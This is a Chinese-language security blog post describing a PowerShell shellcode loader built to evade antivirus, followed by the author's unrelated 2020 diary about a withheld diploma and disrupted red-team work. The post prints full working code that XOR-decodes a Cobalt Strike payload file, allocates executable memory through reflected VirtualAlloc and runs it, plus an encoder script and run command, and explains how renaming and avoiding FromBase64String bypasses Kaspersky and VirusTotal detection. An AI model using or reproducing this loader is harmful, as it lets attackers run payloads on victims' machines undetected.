Powershell免杀(shellcode加载器)
@ s1ye · Sunday, Mar 1, 2020 · 2 · Mar 1, 2020

加载器(loader)

loader就是分离免杀的一种,从远程文件或本地其他文件读取shellcode,并加载到内存执行。

网络上很多语言的加载器都有,但是powershell的感觉不太常见,powershell版的loader也是在学习过程中的一个产物,只是一种思路,因为powershell完全可以实现无文件落地。两种形式:

  • loader + shellcode
  • loader + bin文件

本文采用的是loader + bin文件的形式。

声明: 文章内容仅供网络安全爱好者学习使用,请勿用文章中提到的技术或工具做违法的事情,否则后果自负。


实现过程

很常见的思路,利用亦或xor混淆生成新的bin文件,再用加载器读取bin中的字节数组并在内存执行(直接用cs原生的payload)。

Set-StrictMode -Version 2



function get_delegate_type {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $parameters,
		[Parameter(Position = 1)] [Type] $return_type = [Void]
	)

	$type_builder = [AppDomain]::CurrentDomain.
	DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	$type_builder.
	DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $parameters).SetImplementationFlags('Runtime, Managed')
	$type_builder.
	DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $return_type, $parameters).SetImplementationFlags('Runtime, Managed')

    return $type_builder.
    CreateType()
}


function get_proc_address {
	Param ($var_module, $var_procedure)		
	$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.
    GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.
    Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}



If ([IntPtr]::size -eq 8) {


	[Byte[]]$code = [System.IO.File]::
	ReadAllBytes($args[0])
                
    for ($x = 0; $x -lt $code.Count; $x++) {
		$code[$x] = 26 -bxor $code[$x]
	}


	$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((get_proc_address kernel32.dll VirtualAlloc), (get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
	$var_buffer = $var_va.Invoke([IntPtr]::Zero, $code.Length, 0x3000, 0x40)
	
	[System.Runtime.InteropServices.Marshal]::Copy($code, 0, $var_buffer, $code.length)

	$runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (get_delegate_type @([IntPtr]) ([Void])))
	$runme.Invoke([IntPtr]::Zero)
}

通过测试发现,kaspersky(卡巴斯基)拦截 FromBase64String()这个方法,导致不能将字节数组编码后传入。因此想到修改获取字节数组的方法,才导致了这个loader的产生。

过静态查杀的思路: 修改原payload中的函数名、变量名以及函数定义的顺序(可过VT上一些国外的查杀)。替换frombase64string方法,可绕过卡巴斯基查杀。


使用方法

生成新的bin文件

# xor.ps1
# usage:   .\xor.sp1 .\payload.bin .\enc.bin

[Byte[]]$bytes = [System.IO.File]::ReadAllBytes($args[0])

for ($x = 0; $x -lt $bytes.Count; $x++) {
		$bytes[$x] = $bytes[$x] -bxor 26
}

$infile = [System.IO.File]::WriteAllBytes($args[1],$bytes)

powershell加载shellcode

powershell meterpreter.ps1 .\enc.bin


结束语

内容基础且简单,不涉及底层的知识(因为暂时我还没那个能力,后面随着学习会继续补充)。

仅此记录2020,艹

2020.06.11 学校突然说不给我毕业证,经查明有一门课任课老师忘记给录成绩,与学校多次协商无果,心情烦躁,工作也不是很顺心,决定辞职。

2020.06.18 正式离职,与学校老师以及领导继续对线,恰巧赶上hw想着去赚点钱好好休息一段时间再找下一份工作。

2020.06.19 北京疫情爆发,无法进京参加hw,在大连租住地边学习边跟学校继续对线。

2020.06.24 多次与老师和领导反应,互相踢皮球,老师叫我联系领导解决,领导叫我联系老师解决,最终将学校举报到省教育厅。

2020.06.28 由于省教育厅联系学校解决此事,端午节假期结束后第一时间,学校领导及任课教师开会重新讨论该事件,最终给予我审核通过,颁发毕业证。ps: 就离谱,我自己协商不同意,举报以后就管用了? : )

2020.07.25 期间一直在家里自己搞技术玩,厂商通知去吉林hw,收拾东西准备前往。

2020.07.26 大连疫情爆发,吉林厂商不允许大连相关人员入场,需要隔离14天。

2020.07.30 经过多天预约,终于做了核酸检测,收拾装备,准备离连。

2020.08.02 连夜回到家中,父母不在家,又是无尽的孤独。甚至保安见到我大连回来的躲得远远的,并且说了句“和他一栋楼的,完了!”,????

2020.08.16 总hw次日开始,抵达杭州,17号晚班8点开始。

2020.08.17 晚八点抵达工作地点,打开电脑,收到消息9点后redteam不允许攻击,随便看看流量就写代码去了。九点十分,甲方通知护网暂停,择日开启 : ) 。

2020.08-xx 过几天马上去成都了,“巴威”来了,我希望您别影响我飞机起飞,谢谢。

以后再hw我就是个sb,要不是学校的破事心烦不想立刻工作恰巧赶上了hw,想着呆着不如多赚点,我是万万不可能参加的。hw1.5时,歇逼两个月 :)

想去哪哪疫情,离开哪哪疫情,2020,当个人吧,求你了。

关于我

s1ye的❤️博客

平时会记录一些学习笔记或分享有趣的姿势

一个热爱技术的普通网络安全从业者

团队

所在团队🌈 :ChaBug

ID:s1ye(撕夜,)

可以通过email1联系我,

- 2020 年 2 月 8 日更新


  1. [email protected] ↩︎